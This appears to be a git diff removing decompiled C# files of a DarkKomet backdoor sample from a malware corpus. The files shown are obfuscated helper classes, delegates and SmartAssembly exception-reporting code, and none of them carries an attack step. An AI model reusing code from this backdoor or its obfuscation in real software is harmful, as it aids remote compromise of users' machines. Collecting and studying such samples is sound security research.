a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate object[] \u007F\u0003([In] object obj0, [In] bool obj1); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004.cs deleted file mode 100644 index 30360b86..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System.Runtime.InteropServices; - -internal delegate byte[] \u007F\u0004([In] object obj0, [In] byte[] obj1, [In] bool obj2); diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_001F_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_001F_0004.cs deleted file mode 100644 index 01332437..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_001F_0004.cs +++ /dev/null @@ -1,74 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u007F\u0004; -using System.Net; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Threading; - -namespace \u007F\u0004 -{ - internal class \u001F\u0004 - { - private IWebProxy \u0001; - private \u0086\u0004 \u0002; - - public void \u0097\u0004([In] IWebProxy obj0) => this.\u0001 = obj0; - - [SpecialName] - public void \u0098\u0004([In] \u0086\u0004 obj0) - { - if (false) - goto label_4; - else - goto label_10; -label_1: - if (true) - goto label_11; -label_4: - \u0086\u0004 comparand; - \u0086\u0004 obj1; - if (true) - { - if (obj1 == comparand) - return; - goto label_1; - } - else - goto label_11; -label_10: - \u0086\u0004 obj2 = this.\u0002; - if (true) - { - obj1 = obj2; - goto label_1; - } - else - goto label_1; -label_11: - \u0086\u0004 obj3 = obj1; - if (true) - comparand = obj3; - \u0086\u0004 obj4 = comparand + obj0; - if (true) - goto label_8; -label_3: - \u0086\u0004 obj5; - \u0086\u0004 obj6 = Interlocked.CompareExchange<\u0086\u0004>(ref this.\u0002, obj5, comparand); - if (true) - { - obj1 = obj6; - goto label_4; - } - else - goto label_4; -label_8: - obj5 = obj4; - goto label_3; - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0080_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0080_0004.cs deleted file mode 100644 index a68beafa..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0080_0004.cs +++ /dev/null @@ -1,22 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .€ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u007F\u0004 -{ - internal class \u0080\u0004 : EventArgs - { - private Exception \u0001; - - [SpecialName] - public Exception \u009B\u0004() => this.\u0001; - - internal \u0080\u0004([In] Exception obj0) => this.\u0001 = obj0; - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0081_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0081_0004.cs deleted file mode 100644 index 533f3931..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0081_0004.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u007F\u0004; - -namespace \u007F\u0004 -{ - internal delegate void \u0081\u0004(object sender, \u0080\u0004 e); -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0082_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0082_0004.cs deleted file mode 100644 index cd42c902..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0082_0004.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .‚ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u007F\u0004 -{ - internal class \u0082\u0004 : EventArgs - { - private \u0006\u0002.\u0006\u0002 \u0001; - private Exception \u0002; - private bool \u0003; - private bool \u0004 = true; - private bool \u0005 = true; - private bool \u0006; - - [SpecialName] - public bool \u009D\u0004() => this.\u0003; - - internal void \u0006\u0002([In] bool obj0) => this.\u0005 = obj0; - - internal void \u0006\u0002() => this.\u0003 = true; - - [SpecialName] - public bool \u0002\u0005() => this.\u0006; - - [SpecialName] - public void \u0003\u0005([In] bool obj0) => this.\u0006 = obj0; - - public void \u0004\u0005() - { - if (!this.\u0003) - return; - this.\u0001.\u0092\u0004(); - } - - internal \u0082\u0004([In] \u0006\u0002.\u0006\u0002 obj0, [In] Exception obj1) - { - this.\u0001 = obj0; - this.\u0002 = obj1; - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0084_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0084_0004.cs deleted file mode 100644 index 85d1bdf1..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0084_0004.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .„ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security; - -namespace \u007F\u0004 -{ - internal class \u0084\u0004 : EventArgs - { - private SecurityException \u0001; - private string \u0002 = string.Empty; - private bool \u0003; - private bool \u0004; - private bool \u0005 = true; - - [SpecialName] - public bool \u0002\u0005() => this.\u0003; - - [SpecialName] - public bool \u0011\u0005() => this.\u0004; - - [SpecialName] - public void \u0012\u0005([In] bool obj0) => this.\u0004 = obj0; - - public \u0084\u0004([In] SecurityException obj0) => this.\u0001 = obj0; - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0086_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0086_0004.cs deleted file mode 100644 index cf727ee8..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0086_0004.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .† -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u007F\u0004; - -namespace \u007F\u0004 -{ - internal delegate void \u0086\u0004(object sender, \u0087\u0004 e); -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0087_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0087_0004.cs deleted file mode 100644 index 3c0de0ba..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0087_0004.cs +++ /dev/null @@ -1,14 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .‡ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using System; - -namespace \u007F\u0004 -{ - internal class \u0087\u0004 : EventArgs - { - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0089_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0089_0004.cs deleted file mode 100644 index 4db6dbdf..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0089_0004.cs +++ /dev/null @@ -1,414 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .‰ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u0003; -using \u007F\u0004; -using SmartAssembly.SmartExceptionsCore; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Runtime.InteropServices; - -namespace \u007F\u0004 -{ - internal class \u0089\u0004 - { - public static void \u0017\u0005([In] Exception obj0) => \u0089\u0004.\u0081\u0005(obj0, new object[0]); - - public static void \u0018\u0005([In] Exception obj0, [In] object obj1) - { - do - { - if (true) - goto label_4; -label_2: - continue; -label_4: - Exception exception = obj0; - object[] objArray1 = new object[1]; - object[] objArray2; - if (true) - objArray2 = objArray1; - objArray2[0] = obj1; - object[] objArray3 = objArray2; - \u0089\u0004.\u0081\u0005(exception, objArray3); - goto label_2; - } - while (false); - } - - public static void \u0019\u0005([In] Exception obj0, [In] object obj1, [In] object obj2) - { - Exception exception = obj0; - object[] objArray1 = new object[2]; - object[] objArray2; - if (true) - objArray2 = objArray1; - objArray2[0] = obj1; - objArray2[1] = obj2; - object[] objArray3 = objArray2; - \u0089\u0004.\u0081\u0005(exception, objArray3); - } - - public static void \u001A\u0005([In] Exception obj0, [In] object obj1, [In] object obj2, [In] object obj3) - { - if (true) - goto label_4; -label_2: - if (true) - return; -label_4: - Exception exception = obj0; - object[] objArray1 = new object[3]; - object[] objArray2; - if (true) - objArray2 = objArray1; - objArray2[0] = obj1; - objArray2[1] = obj2; - objArray2[2] = obj3; - object[] objArray3 = objArray2; - \u0089\u0004.\u0081\u0005(exception, objArray3); - goto label_2; - } - - public static void \u001B\u0005( - [In] Exception obj0, - [In] object obj1, - [In] object obj2, - [In] object obj3, - [In] object obj4) - { - Exception exception = obj0; - object[] objArray1 = new object[4]; - object[] objArray2; - if (true) - objArray2 = objArray1; - objArray2[0] = obj1; - objArray2[1] = obj2; - objArray2[2] = obj3; - objArray2[3] = obj4; - object[] objArray3 = objArray2; - \u0089\u0004.\u0081\u0005(exception, objArray3); - } - - public static void \u001C\u0005( - [In] Exception obj0, - [In] object obj1, - [In] object obj2, - [In] object obj3, - [In] object obj4, - [In] object obj5) - { - Exception exception = obj0; - object[] objArray1 = new object[5]; - object[] objArray2; - if (true) - objArray2 = objArray1; - objArray2[0] = obj1; - objArray2[1] = obj2; - objArray2[2] = obj3; - objArray2[3] = obj4; - objArray2[4] = obj5; - object[] objArray3 = objArray2; - \u0089\u0004.\u0081\u0005(exception, objArray3); - } - - public static void \u001D\u0005( - [In] Exception obj0, - [In] object obj1, - [In] object obj2, - [In] object obj3, - [In] object obj4, - [In] object obj5, - [In] object obj6) - { - Exception exception = obj0; - object[] objArray1 = new object[6]; - object[] objArray2; - if (true) - objArray2 = objArray1; - objArray2[0] = obj1; - objArray2[1] = obj2; - objArray2[2] = obj3; - objArray2[3] = obj4; - objArray2[4] = obj5; - objArray2[5] = obj6; - object[] objArray3 = objArray2; - \u0089\u0004.\u0081\u0005(exception, objArray3); - } - - public static void \u001E\u0005( - [In] Exception obj0, - [In] object obj1, - [In] object obj2, - [In] object obj3, - [In] object obj4, - [In] object obj5, - [In] object obj6, - [In] object obj7) - { - int num; - for (int index = 0; index == 0; index = num) - { - num = 0; - if (num == 0) - { - if (num == 0 && false) - return; - break; - } - } - Exception exception = obj0; - object[] objArray1 = new object[7]; - object[] objArray2; - if (true) - objArray2 = objArray1; - objArray2[0] = obj1; - objArray2[1] = obj2; - objArray2[2] = obj3; - objArray2[3] = obj4; - objArray2[4] = obj5; - objArray2[5] = obj6; - objArray2[6] = obj7; - object[] objArray3 = objArray2; - \u0089\u0004.\u0081\u0005(exception, objArray3); - } - - public static void \u001F\u0005( - [In] Exception obj0, - [In] object obj1, - [In] object obj2, - [In] object obj3, - [In] object obj4, - [In] object obj5, - [In] object obj6, - [In] object obj7, - [In] object obj8) - { - Exception exception = obj0; - object[] objArray1 = new object[8]; - object[] objArray2; - if (true) - objArray2 = objArray1; - objArray2[0] = obj1; - objArray2[1] = obj2; - objArray2[2] = obj3; - objArray2[3] = obj4; - objArray2[4] = obj5; - objArray2[5] = obj6; - objArray2[6] = obj7; - objArray2[7] = obj8; - object[] objArray3 = objArray2; - \u0089\u0004.\u0081\u0005(exception, objArray3); - } - - public static void \u007F\u0005( - [In] Exception obj0, - [In] object obj1, - [In] object obj2, - [In] object obj3, - [In] object obj4, - [In] object obj5, - [In] object obj6, - [In] object obj7, - [In] object obj8, - [In] object obj9) - { - Exception exception = obj0; - object[] objArray1 = new object[9]; - object[] objArray2; - if (true) - objArray2 = objArray1; - objArray2[0] = obj1; - objArray2[1] = obj2; - objArray2[2] = obj3; - objArray2[3] = obj4; - objArray2[4] = obj5; - objArray2[5] = obj6; - objArray2[6] = obj7; - objArray2[7] = obj8; - objArray2[8] = obj9; - object[] objArray3 = objArray2; - \u0089\u0004.\u0081\u0005(exception, objArray3); - } - - public static void \u0080\u0005( - [In] Exception obj0, - [In] object obj1, - [In] object obj2, - [In] object obj3, - [In] object obj4, - [In] object obj5, - [In] object obj6, - [In] object obj7, - [In] object obj8, - [In] object obj9, - [In] object obj10) - { - Exception exception = obj0; - object[] objArray1 = new object[10]; - object[] objArray2; - if (true) - objArray2 = objArray1; - objArray2[0] = obj1; - objArray2[1] = obj2; - objArray2[2] = obj3; - objArray2[3] = obj4; - objArray2[4] = obj5; - objArray2[5] = obj6; - objArray2[6] = obj7; - objArray2[7] = obj8; - objArray2[8] = obj9; - objArray2[9] = obj10; - object[] objArray3 = objArray2; - \u0089\u0004.\u0081\u0005(exception, objArray3); - } - - public static void \u0081\u0005([In] Exception obj0, [In] object[] obj1) - { - if (true) - goto label_31; -label_1: - if (true) - goto label_32; -label_2: - int num1; - if (true) - num1 = 0; - StackTrace stackTrace1 = new StackTrace(obj0); - if (true) - goto label_34; -label_3: - try - { - if (obj0.StackTrace != null) - { - string str1 = \u0082\u0002.\u007E\u0089\u0002((object) obj0); - char[] chArray1 = new char[2]; - if (true) - goto label_17; -label_5: - char[] chArray2; - chArray2[0] = '\r'; - chArray2[1] = '\n'; - char[] chArray3 = chArray2; - string[] strArray1 = str1.Split(chArray3); - if (true) - goto label_18; -label_6: - string[] strArray2; - string[] strArray3 = strArray2; - int num2 = 0; -label_7: - int index = num2; - while (true) - { - int num3 = index; - int num4 = strArray3.Length; - while (true) - { - int num5 = num4; - if (num3 < num5) - { - string str2 = strArray3[index]; - int num6 = \u0084\u0002.\u007E\u000E\u0002((object) str2); - if (false) - { - num2 = num6; - goto label_7; - } - else - { - int num7 = 0; - if (num7 == 0) - { - if (num6 > num7) - ++num1; - int num8 = index; - num4 = 1; - num3 = num8; - break; - } - num4 = num7; - num3 = num6; - } - } - else - goto label_21; - } - index = num3 + num4; - } -label_18: - strArray2 = strArray1; - goto label_6; -label_17: - chArray2 = chArray1; - goto label_5; - } - } - catch - { - if (true) - num1 = -1; - } -label_21: - StackTrace stackTrace2; - int num9; - int num10; - try - { - int num11 = \u0084\u0002.\u007E\u0099\u0004((object) stackTrace2); - int num12 = 0; - StackFrame stackFrame; - if (num12 == 0) - { - if (num11 > num12) - { - stackFrame = \u008D\u0003.\u007E\u009A\u0004((object) stackTrace2, \u0084\u0002.\u007E\u0099\u0004((object) stackTrace2) - 1); - int num13 = \u0084\u0002.\u007E\u0088\u0003((object) \u008F\u0003.\u007E\u009C\u0004((object) stackFrame)); - num12 = 16777215; - num11 = num13; - } - else - goto label_26; - } - num9 = (num11 & num12) - 1; - num10 = \u0084\u0002.\u007E\u009D\u0004((object) stackFrame); - } - catch - { - } -label_26: - try - { - SmartStackFrame smartStackFrame = new SmartStackFrame(num9, obj1, num10, num1); - LinkedList linkedList; - if (!\u0083\u0002.\u007E\u001A\u0004((object) \u0002\u0003.\u007E\u0087\u0002((object) obj0), (object) \u0002.\u0002\u0002(1396))) - { - linkedList = new LinkedList(); - \u008B\u0003.\u007E\u0019\u0004((object) \u0002\u0003.\u007E\u0087\u0002((object) obj0), (object) \u0002.\u0002\u0002(1396), (object) linkedList); - } - else - linkedList = (LinkedList) \u008A\u0003.\u007E\u0018\u0004((object) \u0002\u0003.\u007E\u0087\u0002((object) obj0), (object) \u0002.\u0002\u0002(1396)); - linkedList.AddLast((object) smartStackFrame); - return; - } - catch - { - return; - } -label_34: - stackTrace2 = stackTrace1; - goto label_3; -label_32: - num10 = -1; - goto label_2; -label_31: - num9 = -1; - goto label_1; - } - } -} diff --git a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0091_0004.cs b/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0091_0004.cs deleted file mode 100644 index ee525f36..00000000 --- a/MSIL/Backdoor/Win32/D/Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3/_007F_0004/_0091_0004.cs +++ /dev/null @@ -1,448 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .‘ -// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null -// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe - -using \u0003; -using \u007F\u0004; -using System; -using System.Net; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security; -using System.Security.Permissions; -using System.Threading; -using System.Web.Services.Protocols; - -namespace \u007F\u0004 -{ - internal abstract class \u0091\u0004 - { - private static readonly bool \u0001 = Convert.ToBoolean(\u0002.\u0002\u0002(2809)); - private static readonly string \u0002 = \u0002.\u0002\u0002(679); - private static \u0091\u0004 \u0003; - private IWebProxy \u0004; - private EventHandler \u0005; - private \u0086\u0004 \u0006; - - protected abstract void \u008B\u0005([In] \u0082\u0004 obj0); - - protected abstract void \u008C\u0005([In] \u0080\u0004 obj0); - - protected abstract void \u008D\u0005([In] \u0084\u0004 obj0); - - [SecurityPermission(SecurityAction.Demand, UnmanagedCode = true)] - public static void \u008E\u0005([In] \u0091\u0004 obj0) - { - if (obj0 == null) - return; - \u0091\u0004.\u0003 = obj0; - \u000E\u0003.\u009E\u0002().UnhandledException += new UnhandledExceptionEventHandler(obj0.\u0006\u0002); - \u0093\u0004.\u0014\u0007(new ThreadExceptionEventHandler(obj0.\u0006\u0002)); - } - - [SpecialName] - private static \u0091\u0004 \u0006\u0002() - { - int index; - Type[] typeArray; - if (true) - { - if (\u0091\u0004.\u0003 == null) - { - Type[] types = \u0098\u0003.\u0010\u0005().GetTypes(); - if (true) - goto label_15; -label_2: - if (true) - { - index = 0; - goto label_12; - } - else - goto label_12; -label_15: - typeArray = types; - goto label_2; - } - else - goto label_14; - } -label_4: - Type type; - // ISSUE: type reference - if ((object) \u0086\u0002.\u007E\u0090\u0003((object) type) == (object) \u0082\u0003.\u008C\u0003(__typeref (\u0091\u0004))) - { - try - { - if (true) - { - if (true) - { - \u0091\u0004.\u0003 = (\u0091\u0004) \u0007\u0003.\u0097\u0002(type, true); - if (\u0091\u0004.\u0003 != null) - goto label_14; - } - else - goto label_14; - } - else - goto label_14; - } - catch - { - } - } -label_10: - int num1 = index; - int num2 = 1; -label_11: - int num3 = num1 + num2; - if (true) - index = num3; -label_12: - int num4 = index; - int length = typeArray.Length; - if (false) - { - num2 = length; - num1 = num4; - goto label_11; - } - else if (num4 < length) - { - object obj = (object) typeArray[index]; - if (true) - goto label_17; -label_3: - if ((object) type == null || (object) \u0086\u0002.\u007E\u0090\u0003((object) type) == null) - goto label_10; - else - goto label_4; -label_17: - type = (Type) obj; - goto label_3; - } -label_14: - return \u0091\u0004.\u0003; - } - - public static void \u008F\u0005([In] Exception obj0, [In] object[] obj1) - { - if (obj0 != null) - goto label_10; -label_8: - \u0089\u0004.\u0081\u0005(obj0, obj1); - do - { - \u0091\u0004.\u0006\u0002().\u0006\u0002(obj0, false); - } - while (false); - return; -label_10: - if (obj0 is SecurityException) - { - int num; - for (int index = \u0091\u0004.\u0002 == \u0002.\u0002\u0002(679) ? 1 : 0; index != 0; index = num) - { - num = \u0091\u0004.\u0006\u0002().\u0006\u0002((SecurityException) obj0) ? 1 : 0; - if (true) - { - if (num != 0) - { - if (true) - return; - goto label_10; - } - else - break; - } - } - goto label_8; - } - else - goto label_8; - } - - public static Exception \u0090\u0005([In] Exception obj0, [In] object[] obj1) - { - \u0091\u0004.\u0091\u0005(obj0, obj1); - return (Exception) new SoapException(\u0082\u0002.\u007E\u0086\u0002((object) obj0), SoapException.ServerFaultCode); - } - - public static void \u0091\u0005([In] Exception obj0, [In] object[] obj1) - { - try - { - if ((object) obj0.GetType() == (object) typeof (Exception) && \u008E\u0002.\u0006\u0002(\u0082\u0002.\u007E\u0086\u0002((object) obj0), \u0002.\u0002\u0002(2580))) - obj0 = \u001D\u0002.\u007E\u0088\u0002((object) obj0); - else - \u0089\u0004.\u0081\u0005(obj0, obj1); - \u0091\u0004.\u0006\u0002().\u0006\u0002(obj0, true); - } - catch - { - } - } - - private void \u0006\u0002([In] object obj0, [In] ThreadExceptionEventArgs obj1) - { - try - { - Exception exception1; - do - { - Exception exception2 = obj1.Exception; - if (true) - goto label_7; -label_1: - continue; -label_7: - exception1 = exception2; - goto label_1; - } - while (false); - Type type1 = exception1.GetType(); - if (true) - goto label_8; -label_3: - Type type2; - if (\u008E\u0002.\u0006\u0002(\u0082\u0002.\u007E\u0086\u0003((object) type2), \u0002.\u0002\u0002(2593)) && \u008E\u0002.\u0006\u0002(\u0082\u0002.\u007E\u008E\u0003((object) type2), \u0002.\u0002\u0002(2618))) - { - Exception exception3 = (Exception) \u008A\u0003.\u007E\u0086\u0005((object) \u0086\u0003.\u007E\u0093\u0003((object) type2, \u0002.\u0002\u0002(2663)), (object) exception1); - if (true) - exception1 = exception3; - } - if (exception1 is SecurityException && \u008E\u0002.\u0006\u0002(\u0091\u0004.\u0002, \u0002.\u0002\u0002(679)) && this.\u0006\u0002(exception1 as SecurityException)) - return; - this.\u0006\u0002(exception1, true); - return; -label_8: - type2 = type1; - goto label_3; - } - catch - { - } - } - - private void \u0006\u0002([In] object obj0, [In] UnhandledExceptionEventArgs obj1) - { - try - { - if (obj1.ExceptionObject is SecurityException) - { - while (true) - { - int num = \u0091\u0004.\u0002 == \u0002.\u0002\u0002(679) ? 1 : 0; - if (true) - { - if (num != 0 && this.\u0006\u0002(\u008C\u0002.\u007E\u0007\u0004((object) obj1) as SecurityException)) - num = 0; - else - goto label_8; - } - if (num == 0) - break; - } - return; - } -label_8: - while (\u008C\u0002.\u007E\u0007\u0004((object) obj1) is Exception) - { - if (true) - { - this.\u0006\u0002((Exception) \u008C\u0002.\u007E\u0007\u0004((object) obj1), !\u008B\u0002.\u007E\u0008\u0004((object) obj1)); - break; - } - } - } - catch - { - } - } - - protected virtual Guid \u0092\u0005() => Guid.Empty; - - private bool \u0006\u0002([In] SecurityException obj0) - { - \u0084\u0004 obj1 = new \u0084\u0004(obj0); - \u0084\u0004 obj2; - if (true) - obj2 = obj1; - this.\u008D\u0005(obj2); - int num1; - do - { - int num2 = obj2.\u0011\u0005() ? 1 : 0; - while (true) - { - if (num2 != 0) - { - num1 = 0; - if (num1 == 0) - { - if (false) - num2 = num1; - else - break; - } - else - goto label_6; - } - else - goto label_7; - } - return num1 != 0; -label_7: - if (obj2.\u0002\u0005()) - goto label_10; - } - while (false); - goto label_9; -label_6: - return num1 != 0; -label_9: - \u008F\u0004.\u0015\u0007(); -label_10: - return true; - } - - private void \u0006\u0002([In] Exception obj0, [In] bool obj1) - { - Type type1 = obj0.GetType(); - Type type2; - if (true) - type2 = type1; - if (type2.Name == \u0002.\u0002\u0002(2593) && 